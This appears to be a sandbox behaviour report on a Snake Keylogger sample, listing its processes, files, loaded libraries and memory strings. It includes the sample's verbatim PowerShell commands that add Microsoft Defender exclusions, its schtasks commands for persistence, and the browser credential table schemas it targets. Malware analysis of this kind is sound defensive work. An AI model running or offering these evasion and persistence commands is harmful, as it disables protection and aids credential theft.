Source: Process Memory Space: IFZCSslt.exe PID: 8172, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: b5Tu0LaQfn6bnAD.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: IFZCSslt.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4bbd9a0.3.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.4b79b80.4.raw.unpack, --.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, T1NZRruMkyMhJJy0uU.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, T1NZRruMkyMhJJy0uU.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Jp3GKTqOWLHMIx01c5.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Jp3GKTqOWLHMIx01c5.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b5Tu0LaQfn6bnAD.exe.7c30000.6.raw.unpack, Jp3GKTqOWLHMIx01c5.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@19/15@3/3
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File created: C:\Users\user\AppData\Roaming\IFZCSslt.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Mutant created: \Sessions\1\BaseNamedObjects\oxxtUCywzuEBbrZdLKbYVWzPo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5304:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7932:120:WilError_03
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File created: C:\Users\user\AppData\Local\Temp\tmp1110.tmp Jump to behavior
Source: b5Tu0LaQfn6bnAD.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: b5Tu0LaQfn6bnAD.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: vbc.exe, 00000011.00000002.2449982205.0000000006B33000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_data BLOB, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, possible_username_pairs BLOB, id INTEGER PRIMARY KEY AUTOINCREMENT, date_last_used INTEGER NOT NULL DEFAULT 0, moving_blocked_for BLOB, date_password_modified INTEGER NOT NULL DEFAULT 0, sender_email VARCHAR, sender_name VARCHAR, date_received INTEGER, sharing_notification_displayed INTEGER NOT NULL DEFAULT 0, keychain_identifier BLOB, sender_profile_image_url VARCHAR, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm))4>;
Source: vbc.exe, 00000011.00000002.2449982205.0000000006B66000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE insecure_credentials (parent_id INTEGER REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, insecurity_type INTEGER NOT NULL, create_time INTEGER NOT NULL, is_muted INTEGER NOT NULL DEFAULT 0, UNIQUE (parent_id, insecurity_type))4>;
Source: vbc.exe, 00000011.00000002.2449982205.00000000069AC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE downloads (id INTEGER PRIMARY KEY,guid VARCHAR NOT NULL,current_path LONGVARCHAR NOT NULL,target_path LONGVARCHAR NOT NULL,start_time INTEGER NOT NULL,received_bytes INTEGER NOT NULL,total_bytes INTEGER NOT NULL,state INTEGER NOT NULL,danger_type INTEGER NOT NULL,interrupt_reason INTEGER NOT NULL,hash BLOB NOT NULL,end_time INTEGER NOT NULL,opened INTEGER NOT NULL,last_access_time INTEGER NOT NULL,transient INTEGER NOT NULL,referrer VARCHAR NOT NULL,site_url VARCHAR NOT NULL,tab_url VARCHAR NOT NULL,tab_referrer_url VARCHAR NOT NULL,http_method VARCHAR NOT NULL,by_ext_id VARCHAR NOT NULL,by_ext_name VARCHAR NOT NULL,etag VARCHAR NOT NULL,last_modified VARCHAR NOT NULL,mime_type VARCHAR(255) NOT NULL,original_mime_type VARCHAR(255) NOT NULL)4>;
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "address_type_tokens" (guid VARCHAR, type INTEGER, value VARCHAR, verification_status INTEGER DEFAULT 0, observations BLOB, PRIMARY KEY (guid, type))4>;%
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE masked_ibans (instrument_id VARCHAR PRIMARY KEY NOT NULL, prefix VARCHAR NOT NULL, suffix VARCHAR NOT NULL, nickname VARCHAR)4>;.
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE web_app_manifest_section ( expire_date INTEGER NOT NULL DEFAULT 0, id VARCHAR, min_version INTEGER NOT NULL DEFAULT 0, fingerprints BLOB)4>;1
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE server_card_metadata (id VARCHAR NOT NULL,use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR)4>;
Source: vbc.exe, 00000008.00000002.2449144517.00000000071B4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000071C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000008.00000002.2449144517.00000000071A4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006B21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000011.00000002.2449982205.0000000006B11000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE credit_cards ( guid VARCHAR PRIMARY KEY, name_on_card VARCHAR, expiration_month INTEGER, expiration_year INTEGER, card_number_encrypted BLOB, date_modified INTEGER NOT NULL DEFAULT 0, origin VARCHAR DEFAULT '', use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR, nickname VARCHAR)4>;
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE offer_data ( offer_id UNSIGNED LONG, offer_reward_amount VARCHAR, expiry UNSIGNED LONG, offer_details_url VARCHAR, merchant_domain VARCHAR, promo_code VARCHAR, value_prop_text VARCHAR, see_details_text VARCHAR, usage_instructions_text VARCHAR)4>;%
Source: vbc.exe, 00000011.00000002.2449982205.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE autofill_profile_addresses ( guid VARCHAR, street_address VARCHAR, street_name VARCHAR, dependent_street_name VARCHAR, house_number VARCHAR, subpremise VARCHAR, premise_name VARCHAR, street_address_status INTEGER DEFAULT 0, street_name_status INTEGER DEFAULT 0, dependent_street_name_status INTEGER DEFAULT 0, house_number_status INTEGER DEFAULT 0, subpremise_status INTEGER DEFAULT 0, premise_name_status INTEGER DEFAULT 0, dependent_locality VARCHAR, city VARCHAR, state VARCHAR, zip_code VARCHAR, sorting_code VARCHAR, country_code VARCHAR, dependent_locality_status INTEGER DEFAULT 0, city_status INTEGER DEFAULT 0, state_status INTEGER DEFAULT 0, zip_code_status INTEGER DEFAULT 0, sorting_code_status INTEGER DEFAULT 0, country_code_status INTEGER DEFAULT 0, apartment_number VARCHAR, floor VARCHAR, apartment_number_status INTEGER DEFAULT 0, floor_status INTEGER DEFAULT 0)4>;
Source: b5Tu0LaQfn6bnAD.exe Virustotal: Detection: 36%
Source: b5Tu0LaQfn6bnAD.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File read: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe"
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\IFZCSslt.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp1110.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: unknown Process created: C:\Users\user\AppData\Roaming\IFZCSslt.exe C:\Users\user\AppData\Roaming\IFZCSslt.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp265D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\IFZCSslt.exe" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp1110.tmp" Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\IFZCSslt" /XML "C:\Users\user\AppData\Local\Temp\tmp265D.tmp"
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: profapi.dll Jump to behavior
